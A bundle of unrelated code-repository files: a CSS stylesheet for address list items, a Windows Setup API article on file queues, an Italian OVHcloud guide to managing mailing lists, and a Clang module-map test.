exitHandler = _savedExitHandler;
}
}
|
{
"pile_set_name": "Github"
}
|
.address-item-container{
display: flex;
flex-direction: row;
justify-content: space-around;
align-items: center;
padding-top:25rpx;
padding-bottom: 25rpx;
background-color: #FFF;
}
.address-icon-container{
width: 60rpx;
text-align: center;
}
.address-info-container{
display: flex;
flex-direction: column;
width: 600rpx;
}
.address-info-name{
color: #232326;
font-size: 36rpx;
font-weight: bold;
}
.address-info-phone{
font-size: 28rpx;
margin-left: 45rpx;
font-weight: bold;
color: #232326;
}
.address-name-phone-container{
display: flex;
flex-direction: row;
align-items: center;
}
/*
* 地址详情
*/
.address-info-detail{
color: #0A0A0D;
font-size: 28rpx;
}
.address-detail-container{
margin-top: 10rpx;
}
/*默认标签*/
.address-default-label{
margin-left: 10rpx;
}
/*占位符*/
.address-empty-container{
display: flex;
flex-direction: row;
flex:1;
padding-left: 20rpx;
align-items: center;
}
.address-empty-add{
height: 80rpx;
width: 80rpx;
}
.address-empty-text{
font-size: 30rpx;
margin-left: 20rpx;
}
|
{
"pile_set_name": "Github"
}
|
---
Description: Queuing the file operations is useful because it enables you to process the installation as a whole, instead of by INF section.
ms.assetid: 6519c2fb-142d-4071-865f-c00a98c2fe35
title: Creating a Queue and Queuing File Operations
ms.topic: article
ms.date: 05/31/2018
---
# Creating a Queue and Queuing File Operations
Queuing the file operations is useful because it enables you to process the installation as a whole, instead of by INF section.
To create a file queue, declare a variable to store the queue handle, then call the [**SetupOpenFileQueue**](/windows/desktop/api/Setupapi/nf-setupapi-setupopenfilequeue) function. After the queue is created, you can queue copy, rename, and delete operations, as well as scan the file queue to verify enqueued operations.
To add single file operations to the queue, use the [**SetupQueueCopy**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuecopya), [**SetupQueueRename**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuerenamea), and [**SetupQueueDelete**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuedeletea) functions.
All the file operations listed in a **Copy Files**, **Delete Files**, or **Rename Files** section can be added to the queue by using [**SetupQueueCopySection**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuecopysectiona), [**SetupQueueDeleteSection**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuedeletesectiona), or [**SetupQueueRenameSection**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuerenamesectiona), respectively.
Another way to queue all the files in the **Copy Files** sections listed in an **Install** section of an INF is to use the function, [**SetupInstallFilesFromInfSection**](/windows/desktop/api/Setupapi/nf-setupapi-setupinstallfilesfrominfsectiona).
The following example uses the [**SetupQueueCopySection**](/windows/desktop/api/Setupapi/nf-setupapi-setupqueuecopysectiona) function to enqueue copy operations for all the files listed in a **Copy Files** section of an INF file.
``` syntax
test = SetupQueueCopySection(
MyQueue, \\Handle to the open queue
"A:\", \\Source root path
MyInf, \\Inf containing the source info
NULL, \\specifies that MyInf contains
\\ the section to copy as well
MySection, \\the name of the section to queue
\\flags specifying the copy style
SP_COPY_NOSKIP | SP_COPY_NOBROWSE,
);
```
In the example, MyQueue is the queue to add copy operations to, "A:\\" specifies the path to the source, and MyInf is the handle to the open INF file. The parameter *ListInfHandle* is set to **NULL**, indicating that the section for copying is in MyInf. MySection is the section in MyInf containing the files to queue for copying.
The flags SP\_COPY\_NOSKIP and SP\_COPY\_NOBROWSE have been combined using an OR operator to indicate that the user should not be offered options to skip or browse for files if errors occur.
|
{
"pile_set_name": "Github"
}
|
---
title: 'Gestire e utilizzare una mailing list'
slug: gestire_e_utilizzare_una_mailing_list
excerpt: 'Come gestire e utilizzare una mailing list'
section: 'Funzionalità degli indirizzi email'
---
**Ultimo aggiornamento: 02/07/2020**
## Obiettivo
Una mailing list ti consente di trasmettere informazioni a una lista di più destinatari, tramite l’invio di messaggi di posta collettivi agli iscritti al servizio. Questa soluzione può essere utile, ad esempio, per informare i tuoi clienti dell’uscita di un nuovo prodotto (sito e-commerce) o di un incontro (ad esempio, nel caso del sito di una Community).
**Questa guida ti mostra come gestire la tua mailing list**
### Principio della moderazione
Una mailing list può essere moderata per evitare che chiunque possa inviare email alla tua lista di contatti. Le mailing list moderate vengono utilizzate principalmente per inviare newsletter, mentre quelle non moderate possono servire, ad esempio, per creare una conversazione via email fra più iscritti.
**Mailing list senza moderazione**
{.thumbnail}
Il mittente (sender) trasmette l’email alla mailing list, gli iscritti (subscribers) ricevono direttamente l’email.
**Mailing list con moderazione**
{.thumbnail}
Il mittente (sender) trasmette l’email alla mailing list. Il moderatore (moderator) riceve una email con una richiesta di conferma o rifiuto. Se il moderatore conferma, gli iscritti (subscribers) ricevono l’email trasmessa alla mailing list. Se il moderatore rifiuta, l’email del mittente viene eliminata e gli iscritti non ricevono nulla.
> [!warning]
>
> - una mailing list non è una soluzione per l’invio in massa di messaggi di Spam (massaggi pubblicitari)
Questo tipo di utilizzo è tollerato in certa misura, finché non si rivela abusiva.
> - un utente può decidere di cancellare il proprio contatto dalla mailing list in qualsiasi momento e può segnalare un abuso ogni volta che lo ritiene opportuno
>
## Prerequisiti
- Disponi di una soluzione MX Plan 100 o di un [hosting Web](https://www.ovh.com/fr/hebergement-web/){.external} adatto per le mailing list
- Avere accesso allo [Spazio Cliente OVHcloud](https://www.ovh.com/manager/web/login/){.external}
## Procedura
### Crea la tua mailing list
Per creare la tua mailing list, accedi al tuo [Spazio Cliente OVHcloud](http://www.ovh.com/manager/web){.external} e seleziona la scheda`Web`{.action} in alto.
Una volta connesso, clicca su `Email`{.action} nella colonna a sinistra e poi sul dominio interessato. Vai alla scheda `Mailing list`{.action}del tuo servizio di posta elettronica.
{.thumbnail}
Le mailing list create vengono visualizzate nella tabella riepilogativa. Nel nostro esempio, è già stata creata una mailing list.
Per creare una nuova mailing list, clicca su `Aggiungi una mailing list`{.action}.
{.thumbnail}
Completa la tabella inserendo le seguenti informazioni:
| Campo | Descrizione |
|---------------------------------- |------------------------------------------------------------------------------------------------------------------------ |
| Nome | Il nome della tua mailing list |
| Proprietario | Inserisci l’indirizzo email del proprietario della mailing list (sarà anche il moderatore) |
| Rispondi a | definisci il/i destinatario/i quando un iscritto risponde alla mailing list |
| Lingua | Seleziona la lingua della tua mailing list (traduzione delle email automatiche di iscrizione o cancellazione) |
| Moderazione dei messaggi | il proprietario (o il moderatore) deve approvare le risposte |
| Solo gli iscritti possono postare | Limita l’invio delle email sulla mailing list ai soli iscritti |
| Chiunque può inviare messaggi (nessuna moderazione) | L’invio di un’email alla mailing list avviene direttamente senza conferma |
| Moderazione degli iscritti | Il proprietario (o un moderatore) deve approvare le iscrizioni alla mailing list |
{.thumbnail}
> [!primary]
>
> Numero massimo di iscritti alla mailing list:
>
> - 5000 iscritti per le mailing list moderate
> - 250 iscritti per le mailing list non moderate
>
### Gestire le opzioni della mailing list
Per modificare le opzioni della mailing list, clicca sui tre puntini `...`{.action}a destra della tua mailing list. È possibile aggiornare le opzioni, eliminare la mailing list oppure condividere la lista degli iscritti via email.
{.thumbnail}
### Gestisci i tuoi iscritti
Per gestire gli iscritti alla tua mailing list, clicca sull’icona a forma di silhouette umana nella sezione “Iscritti”.
{.thumbnail}
Si apre una nuova finestra:
{.thumbnail}
#### Aggiungi/Elimina contatti
|Aggiungi contatti|Elimina contatti|
|---|---|
|Clicca su `Aggiungi contatti`{.action} a destra|Clicca su `Elimina da un file`{.action} a destra|
|{.thumbnail}|{.thumbnail}|
Per aggiungere/eliminare iscritti alla mailing list, puoi:
- inserire manualmente l’indirizzo cliccando su `Aggiungi un indirizzo email`{.action}
- importare i contatti da un file di testo che contiene un indirizzo email per riga cliccando sull’icona del download posta sopra il campo di inserimento.
#### Esporta la tua lista di contatti verso un file CSV
Per generare un file CSV con tutti i tuoi contatti, clicca su `Esporta i contatti in CSV`{.action}. Nel nostro esempio questa opzione non è disponibile perché non sono stati aggiunti contatti.
### Gestisci i moderatori
Per gestire i moderatori della tua mailing list, clicca sull’icona a forma di silhouette umana nella sezione “Moderatori”.
{.thumbnail}
Si apre una nuova finestra:
{.thumbnail}
#### Aggiungi/Elimina moderatori
|Aggiungi moderatori|Elimina moderatori|
|---|---|
|Clicca su`Aggiungi moderatori`{.action}a destra.|Clicca su `Elimina da un file`{.action} a destra|
|{.thumbnail}|{.thumbnail}|
Per aggiungere/eliminare moderatori, puoi:
- inserire manualmente l’indirizzo cliccando su `Aggiungi un indirizzo email`{.action}
- importare i contatti da un file di testo che contiene un indirizzo email per riga cliccando sull’icona del download posta sopra il campo di inserimento.
> [!primary]
> \- Quando su una mailing list vengono definiti più moderatori, la convalida di un solo moderatore è sufficiente perché l’email sia diffusa agli iscritti.
> \- Quando un moderatore invia una email alla mailing list, soltanto lui riceve l’email di moderazione.
>
L’operazione può richiedere più o meno tempo, in base al numero di contatti da aggiungere.
### Iscriversi a una mailing list
Per iscriversi alla tua mailing list, è sufficiente inviare una email a:
```bash
nome_tua_ML-subscribe@tuodominio.com
```
### Disiscriversi dalla tua mailing list
Per disiscriversi dalla tua mailing list, è sufficiente inviare un email all’indirizzo:
```bash
nom_de_votre_ML-unsubscribe@votredomaine.com
```
### Elimina automaticamente gli indirizzi non validi
Il sistema di mailing list non cancella un contatto dopo un solo messaggio di errore (messaggio non consegnato, indirizzo inesistente, ecc…). Dopo il primo errore, attende circa 12 giorni e poi invia una notifica all’iscritto,
con i dettagli del messaggio non ricevuto. Se anche questo invio fallisce, il nostro sistema di mailing list attende altri 12 giorni e poi invia un messaggio di test. Se anche questo invio restituisce un messaggio di errore, il contatto viene cancellato dalla lista degli iscritti.
### Errori ricorrenti
#### Invio di un messaggio senza Oggetto
Un messaggio inviato a una mailing list deve contenere necessariamente un oggetto. In caso contrario, viene generato automaticamente un errore
e il mittente riceverà questo messaggio:
```bash
Hi. This is the qmail-send program at mx1.ovh.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.
<newsletter@testinterne.ovh>:
ezmlm-reject: fatal: Sorry, I don't accept message with empty Subject (#5.7.0)
```
#### Invio di un messaggio con l’indirizzo della mailing list in copia nascosta
Per inviare un messaggio a una mailing list, l’indirizzo deve necessariamente essere inserito nel campo “A” o “Cc”.
Se l’utente inserisce l’indirizzo in “Ccn”,
riceverà questo messaggio di errore:
```bash
Hi. This is the qmail-send program at mx1.ovh.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.
<newsletter@testinterne.ovh>:
ezmlm-reject: fatal: List address must be in To: or Cc: (#5.7.0)
```
### Personalizzazione avanzata
In quanto moderatore, puoi personalizzare la maggior parte dei testi della tua mailing list inviando un messaggio vuoto a nome_tua_ML-[edit@tuodominio.com](mailto:edit@votredomaine.com){.external}.
- Esempio: se la tua mailing list è [newsletter@testinterne.ovh](mailto:newsletter@testinterne.ovh){.external}, invia un messaggio a [newsletter-edit@testinterne.ovh](mailto:newsletter-edit@testinterne.ovh){.external}dal tuo indirizzo email moderatore.
Riceverai una email con le informazioni necessarie per effettuare le tue modifiche.
Qui di seguito trovi una lista dei file che contengono i testi delle risposte e una breve descrizione dell’utilizzo del loro contenuto. Per modificare un file, invia semplicemente un messaggio a invio-edit.file (inserisci il nome del file al posto di ‘file’). Riceverai un file di testo con le informazioni relative alla modifica.
|File|Utilizzo|
|---|---|
|bottom|firma di tutte le risposte: informazioni generali|
|digest|sezione “amministrativa” delle newsletter|
|faq|risposta alle domande frequenti sull’argomento della lista|
|get_bad|in caso di messaggi non presenti negli archivi|
|help|aiuto generale (tra “top” e “bottom”)|
|info|Informazioni relative alla lista La prima riga ne contiene una sintesi|
|mod_help|aiuto specifico ai moderatori della lista||
|mod_reject|risposta inviata al mittente dei messaggi rifiutati|
|mod_request|messaggio inviato ai moderatori|
|mod_sub|messaggio inviato al contatto dopo la conferma di iscrizione da parte del moderatore|
|mod_sub_confirm|messaggio inviato ai moderatori per confermare una richiesta di iscrizione|
|mod_timeout|risposta inviata al mittente di un messaggio non valido dopo un tempo di attesa troppo lungo|
|mod_unsub_confirm|messaggio inviato a un amministratore per richiedere la disiscrizione|
|sub_bad|messaggio inviato all’iscritto in caso di richiesta non accettata|
|sub_confirm|messaggio inviato all’iscritto per confermare la sua richiesta|
|sub_nop|messaggio inviato all’iscritto dopo una nuova iscrizione|
|sub_ok|messaggio inviato all’iscritto dopo la conferma della sua iscrizione|
|top|intestazione di tutte le risposte|
|trailer|aggiunto alla fine di ogni contributo alla lista|
|unsub_bad|messaggio inviato all’iscritto se la conferma di disiscrizione non è valida|
|unsub_confirm|messaggio inviato all’iscritto per richiedere la conferma di disiscrizione|
|unsub_nop|messaggio inviato a un contatto non iscritto dopo una richiesta di disiscrizione|
|unsub_ok|messaggio inviato a un ex-iscritto dopo una disiscrizione riuscita|
> [!primary]
>
> Esempio: per modificare la firma predefinita delle email inviate alla tua mailing list, invia un messaggio all’indirizzo “newsletter-edit.bottom@testinterne.ovh”. Riceverai una nuova email con le informazioni necessarie per la personalizzazione della tua firma.
>
## Per saperne di più
Contatta la nostra Community di utenti all’indirizzo https://community.ovh.com
|
{
"pile_set_name": "Github"
}
|
// RUN: rm -rf %t
// Build PCH using A, with private submodule A.Private
// RUN: %clang_cc1 -verify -fmodules -fimplicit-module-maps -fmodules-cache-path=%t -F %S/Inputs/implicit-private-with-submodule -emit-pch -o %t-A.pch %s -DNO_AT_IMPORT
// RUN: rm -rf %t
// Build PCH using A, with private submodule A.Private, check the fixit
// RUN: %clang_cc1 -fmodules -fimplicit-module-maps -fmodules-cache-path=%t -F %S/Inputs/implicit-private-with-submodule -emit-pch -o %t-A.pch %s -fdiagnostics-parseable-fixits -DNO_AT_IMPORT 2>&1 | FileCheck %s
// RUN: rm -rf %t
// RUN: %clang_cc1 -verify -fmodules -fimplicit-module-maps -fmodules-cache-path=%t -F %S/Inputs/implicit-private-with-submodule -emit-pch -o %t-A.pch %s -DUSE_AT_IMPORT_PRIV
// RUN: rm -rf %t
// RUN: %clang_cc1 -verify -fmodules -fimplicit-module-maps -fmodules-cache-path=%t -F %S/Inputs/implicit-private-with-submodule -emit-pch -o %t-A.pch %s -DUSE_AT_IMPORT_BOTH
// expected-warning@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:1{{private submodule 'A.Private' in private module map, expected top-level module}}
// expected-note@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:1{{rename 'A.Private' to ensure it can be found by name}}
// expected-warning@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:6{{private submodule 'B.Private' in private module map, expected top-level module}}
// expected-note@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:6{{rename 'B.Private' to ensure it can be found by name}}
// expected-warning@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:9{{private submodule 'C.Private' in private module map, expected top-level module}}
// expected-note@Inputs/implicit-private-with-submodule/A.framework/Modules/module.private.modulemap:9{{rename 'C.Private' to ensure it can be found by name}}
// CHECK: fix-it:"{{.*}}module.private.modulemap":{1:1-1:27}:"framework module A_Private"
// CHECK: fix-it:"{{.*}}module.private.modulemap":{6:1-6:26}:"framework module B_Private"
// CHECK: fix-it:"{{.*}}module.private.modulemap":{9:1-9:36}:"framework module C_Private"
#ifndef HEADER
#define HEADER
#ifdef NO_AT_IMPORT
#import "A/aprivate.h"
#endif
#ifdef USE_AT_IMPORT_PRIV
@import A.Private;
#endif
#ifdef USE_AT_IMPORT_BOTH
@import A;
@import A.Private;
#endif
const int *y = &APRIVATE;
#endif
|
{
"pile_set_name": "Github"
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.